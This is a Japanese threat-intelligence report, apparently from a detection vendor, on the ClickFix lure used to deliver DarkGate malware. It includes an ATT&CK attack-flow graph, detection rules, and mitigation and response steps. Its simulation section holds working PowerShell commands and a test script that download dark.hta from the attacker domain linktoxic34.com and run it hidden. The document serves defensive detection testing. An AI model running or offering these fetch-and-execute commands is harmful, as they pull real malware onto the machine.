ClickFix 事例研究: DarkGate マルウェア
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートは、ユーザーにPowerShellコマンドをコピーして実行するように説得するClickFixと呼ばれるソーシャルエンジニアリング手法を概説しています。このコマンドは悪意のあるHTAファイルをダウンロードします。このHTAファイルはさらに、ディレクトリを作成し、ファイルをドロップし、C2通信を確立するAutoItスクリプトを含む追加コンポーネントを引き込みます。この活動はDarkGateキャンペーンに帰属されており、base64難読化とクリップボードの改ざんに依存して簡単な検出を避けています。
調査
アナリストは、偽のブラウザ拡張機能アラートページに埋め込まれた複数の層のbase64エンコードコンテンツを解明し、linktoxic34.comからdark.htaを取得するPowerShellコマンドを回収しました。これが実行されると、AutoIt実行ファイル(fckhffh.a3x)をデプロイし、DESルーチンを実行してさらなるペイロードを開始します。ネットワークテレメトリには悪意のあるドメインへのHTTP(S)トラフィックが示され、連鎖したPowerShellスクリプトの実行が続きます。
緩和策
推奨される防御策には、未知のコードスニペットをコピーしないようにするユーザー意識の向上、グループポリシーを通じたWindows Runダイアログの無効化、振る舞いベースのアンチウイルスソリューションの展開が含まれます。悪意のあるドメインのプロアクティブなブロックと、異常なPowerShellの実行の監視は、DarkGate感染のリスクを大幅に減少させることができます。
対応
ClickFix関連のイベントが確認された場合、影響を受けたエンドポイントを隔離し、すべての悪意あるプロセスを停止し、HTAとAutoItアーティファクトを削除し、侵入中に作成されたすべてのフォルダーをフォレンジック分析します。疑わしいPowerShellとHTAの実行パターンをフラグするように検出ロジックを更新し、関連するドメインが環境全体でブロックされていることを確認します。
“graph TB %% Class Definitions classDef asset fill:#f0e68c classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#e6e6fa classDef process fill:#ffdddd %% Nodes webpage_malicious[“<b>資産</b> – 悪意のあるウェブページ<br/>Base64エンコードのPowerShellと逆文字列難読化を埋め込む”] class webpage_malicious asset tech_html_smuggling[“<b>技術</b> – <b>T1027.006</b> 難読化されたファイルまたは情報:HTMLスムーグリング<br/>Base64 PowerShellがHTML/JavaScriptに隠されている”] class tech_html_smuggling technique tech_stripped_payloads[“<b>技術</b> – <b>T1027.008</b> 難読化されたファイルまたは情報:削除されたペイロード<br/>入れ子になったBase64文字列がPowerShellを隠す”] class tech_stripped_payloads technique action_user_click[“<b>アクション</b> – <b>T1204.001</b> ユーザー実行:悪意のあるリンク<br/>被害者が「修正方法」ボタンをクリック”] class action_user_click action tech_clipboard_data[“<b>技術</b> – <b>T1115</b> クリップボードデータ<br/>スクリプトがPowerShellコマンドをクリップボードにコピー”] class tech_clipboard_data technique action_copy_paste[“<b>アクション</b> – <b>T1204.004</b> ユーザー実行:悪意のあるコピーとペースト<br/>ユーザーがWin+RとCtrl+Vでコマンドをペースト”] class action_copy_paste action tech_powershell[“<b>技術</b> – <b>T1059.001</b> コマンドおよびスクリプトインタープリタ:PowerShell<br/>ダウンロードされたコマンドを実行”] class tech_powershell technique process_powershell[“<b>プロセス</b> – PowerShell”] class process_powershell process tech_web_protocol[“<b>技術</b> – <b>T1071.001</b> アプリケーションレイヤープロトコル:ウェブプロトコル<br/>HTAをHTTP(S)経由でダウンロード”] class tech_web_protocol technique file_dark_hta[“<b>ファイル</b> – dark.hta<br/>linktoxic34.comからダウンロードされたHTAペイロード”] class file_dark_hta file tech_mshta[“<b>技術</b> – <b>T1218.005</b> システムバイナリプロキシ実行:Mshta<br/>mshta.exe経由でHTAを実行”] class tech_mshta technique process_mshta[“<b>プロセス</b> – mshta.exe”] class process_mshta process tech_lateral_transfer[“<b>技術</b> – <b>T1570</b> 横移動ツール転送<br/>HTAが追加バイナリを含むZIPアーカイブをドロップ”] class tech_lateral_transfer technique file_payload_zip[“<b>ファイル</b> – payload.zip<br/>AutoItスクリプトとバイナリを含む”] class file_payload_zip file tech_masquerading[“<b>技術</b> – <b>T1036</b> 詐称<br/>HTAが合法的な修正ユーティリティとして提示される”] class tech_masquerading technique tech_rtl_override[“<b>技術</b> – <b>T1036.002</b> 詐称:右-左オーバーライド<br/>検出を避けるための逆文字列エンコード”] class tech_rtl_override technique tool_darkgate[“<b>ツール</b> – DarkGate RAT<br/>持続的なリモートアクセスを提供”] class tool_darkgate tool tech_remote_access[“<b>技術</b> – <b>T1219</b> リモートアクセスツール<br/>C2通信を確立”] class tech_remote_access technique %% Connections webpage_malicious u002du002d>|使用する| tech_html_smuggling webpage_malicious u002du002d>|使用する| tech_stripped_payloads webpage_malicious u002du002d>|トリガー| action_user_click action_user_click u002du002d>|リードする| tech_clipboard_data tech_clipboard_data u002du002d>|有効にする| action_copy_paste action_copy_paste u002du002d>|実行する| tech_powershell tech_powershell u002du002d>|実行する| process_powershell process_powershell u002du002d>|ダウンロードする| tech_web_protocol tech_web_protocol u002du002d>|取得する| file_dark_hta file_dark_hta u002du002d>|実行される| tech_mshta tech_mshta u002du002d>|実行する| process_mshta process_mshta u002du002d>|ドロップする| tech_lateral_transfer tech_lateral_transfer u002du002d>|作成する| file_payload_zip file_dark_hta u002du002d>|詐称する| tech_masquerading file_dark_hta u002du002d>|難読化する| tech_rtl_override file_payload_zip u002du002d>|含む| tool_darkgate tool_darkgate u002du002d>|使用する| tech_remote_access “
攻撃フロー
検知
関連するコマンドの検出による疑わしいLOLBAS MSHTAの回避行動(プロセス生成経由)
表示
疑わしいPowerShell文字列(PowerShell経由)
表示
通常とは異なる場所から実行されたAutoITバイナリ(プロセス生成経由)
表示
公共ユーザープロファイルの疑わしいファイル(ファイルイベント経由)
表示
公共ユーザープロファイルからの疑わしい実行(プロセス生成経由)
表示
.NETメソッドをPowerShellから呼び出す不審な呼び出し(PowerShell経由)
表示
IOC(HashSha256)で検出する: ClickFix: DarkGate
表示
HTAファイルダウンロードのための悪意のあるPowerShell活動の検出 [Windowsネットワーク接続]
表示
HTA実行およびクリップボード操作を伴う悪意のあるPowerShell活動 [Windows PowerShell]
表示
シミュレーション実行
前提条件: テレメトリー&ベースラインプレフライトチェックが合格していること。
理由: このセクションでは、検出ルールをトリガーするように設計された敵対的技術(TTP)の正確な実行を詳細に説明します。コマンドと叙述は、直接TTPを反映する必要があり、検出ロジックによって期待される正確なテレメトリーを生成することを目指します。
-
攻撃の説明とコマンド:
侵害されたWindowsホストに低権限アクセスを持つ攻撃者は、ClickFixキャンペーンで使用される悪意のあるHTAペイロードをダウンロードしたいと考えています。目立たないようにするために、攻撃者は PowerShell– ネイティブなWindowsツール – を使用するため、外部バイナリは導入されません。コマンドはコンソールで直接(またはスケジュールされたタスクを介して)実行され、ルールが監視している正確なURLを含みます。ダウンロードはユーザーの%TEMP%ディレクトリ内に格納され、その後Start-Process.$url = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta" $out = "$env:TEMPdark.hta" Invoke-WebRequest -Uri $url -OutFile $out Start-Process -FilePath $out -
回帰テストスクリプト: (自己完結型、上記の手順を再現)
# ClickFix HTAダウンロードシミュレーション - Sigmaルールをトリガー $maliciousUrl = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta" $destPath = "$env:TEMPdark.hta" try { Write-Host "[*] 悪意のあるHTAペイロードをダウンロード中..." Invoke-WebRequest -Uri $maliciousUrl -OutFile $destPath -UseBasicParsing Write-Host "[+] ダウンロード完了。ペイロードを実行中..." Start-Process -FilePath $destPath -WindowStyle Hidden } catch { Write-Error "ダウンロードまたは実行が失敗しました:$_" } -
クリーンアップコマンド: (ダウンロードしたHTAと実行中のインスタンスを削除)
# HTAファイルを削除し、残留する可能性のあるプロセスを終了 $htaPath = "$env:TEMPdark.hta" if (Test-Path $htaPath) { Remove-Item $htaPath -Force Write-Host "[*] HTAファイルを削除しました。" } # HTAから起動されたかもしれないプロセスを終了(汎用例) Get-Process | Where-Object {$_.Path -like "*dark.hta*"} | Stop-Process -Force